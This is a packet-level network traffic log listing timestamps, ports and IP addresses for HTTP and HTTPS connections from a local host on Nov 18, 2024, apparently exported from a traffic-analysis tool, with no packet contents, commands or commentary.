Nov 18, 2024 13:29:30.003390074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.003402948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.003422976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.003444910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.029426098 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.029560089 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.029560089 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.029563904 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.030941010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.030968904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.030982018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.031004906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.031039000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.031050920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.031065941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.031110048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.031130075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.031171083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.031335115 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.031455994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.031496048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.031502962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.031514883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.031541109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.031555891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.036375046 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.036401033 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.036446095 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.036463022 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.036493063 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.036513090 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.065274000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065301895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065318108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065345049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.065349102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065365076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065371037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.065380096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065413952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.065422058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065422058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.065465927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.065570116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065587997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065614939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.065651894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.065673113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.075367928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075395107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075407982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075432062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.075449944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.075615883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075639009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075651884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075680017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.075680017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.075695992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.075758934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075793028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075805902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.075834036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.075866938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.076061964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.076109886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.076112032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.076126099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.076149940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.076236010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.076280117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.076306105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.076318979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.076347113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.076369047 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.076375008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.076518059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.076920986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.076973915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.110296965 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.110323906 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.110382080 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.110394955 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.110403061 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.110408068 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.110415936 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.110461950 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.110481024 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.110506058 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.110589027 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.112871885 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.112905979 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.112915039 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.112935066 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.112994909 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.113014936 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.113048077 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.113409996 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.113631010 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.113686085 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.113753080 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.113827944 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.113878012 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.113940954 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.117798090 CET	49794	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.117819071 CET	443	49794	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.121536970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.121550083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.121562004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.121608973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.121629000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.123147964 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.123162985 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.124258995 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.124270916 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.124353886 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.124403000 CET	49788	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.127929926 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.127958059 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.128334045 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.128350019 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.129585028 CET	49788	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:30.129592896 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:30.148983955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149010897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149022102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149043083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149056911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149063110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.149104118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.149285078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149296999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149364948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.149457932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149497986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.149532080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149544001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.149584055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.153721094 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.153760910 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.153820038 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.153839111 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.153863907 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.153884888 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.183279991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.183358908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.183361053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.183372021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.183418989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.183428049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.183428049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.183440924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.183465004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.183479071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.183492899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.183528900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.183842897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.183856010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.183904886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193346977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193372011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193383932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193470955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193476915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193476915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193491936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193532944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193559885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193598032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193600893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193644047 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193737984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193748951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193793058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193864107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193912029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193928003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193939924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.193965912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.193993092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.194005013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.194168091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.194341898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.194406986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.194418907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.194451094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.194477081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.194511890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.194525957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.194562912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.195005894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.195056915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.195067883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.195105076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.195127010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.239717007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.239757061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.239769936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.239787102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.239816904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.266990900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267003059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267019987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267031908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267051935 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.267080069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267081022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.267122030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.267153025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267164946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267201900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.267541885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267597914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.267606974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267618895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.267652035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.270862103 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.270899057 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.270936012 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.270951986 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.271001101 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.271022081 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.301254034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301285028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301295996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301306963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301328897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301341057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301342964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.301373005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.301413059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.301584959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301595926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301687956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.301737070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.301745892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.302320004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.311492920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311516047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311574936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.311587095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311599970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311600924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.311638117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311640024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.311669111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311681032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.311705112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.311892033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311904907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311917067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311934948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.311954975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.311960936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.311969042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312129974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.312410116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312457085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.312463045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312484026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312582016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312593937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312618017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312630892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312633038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.312659025 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.312690020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.312716007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.312863111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.313234091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.313286066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.318506956 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.318547964 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.318594933 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.318612099 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.318622112 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.318649054 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.318670988 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.320461988 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:30.320481062 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:30.357863903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.357893944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.357908010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.357938051 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.357938051 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.357964993 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.386415005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.386450052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.386472940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.386487961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.386497974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.386504889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.386518002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.386534929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.386540890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.386569023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.386595011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.419358969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419389009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419466972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419481039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419518948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.419555902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.419620991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419635057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419678926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419681072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.419692993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419722080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.419734955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.419884920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.429461956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.429483891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.429493904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.429536104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.429585934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.429611921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.429917097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.429929018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.429941893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.429955959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430002928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.430031061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.430089951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430135965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430150986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430180073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.430201054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430212021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.430413008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430465937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.430509090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430521965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430546045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430607080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.430640936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430653095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.430854082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:30.431130886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:30.431143999 CET	80	49746	185.215.113.206	192.168.2.8
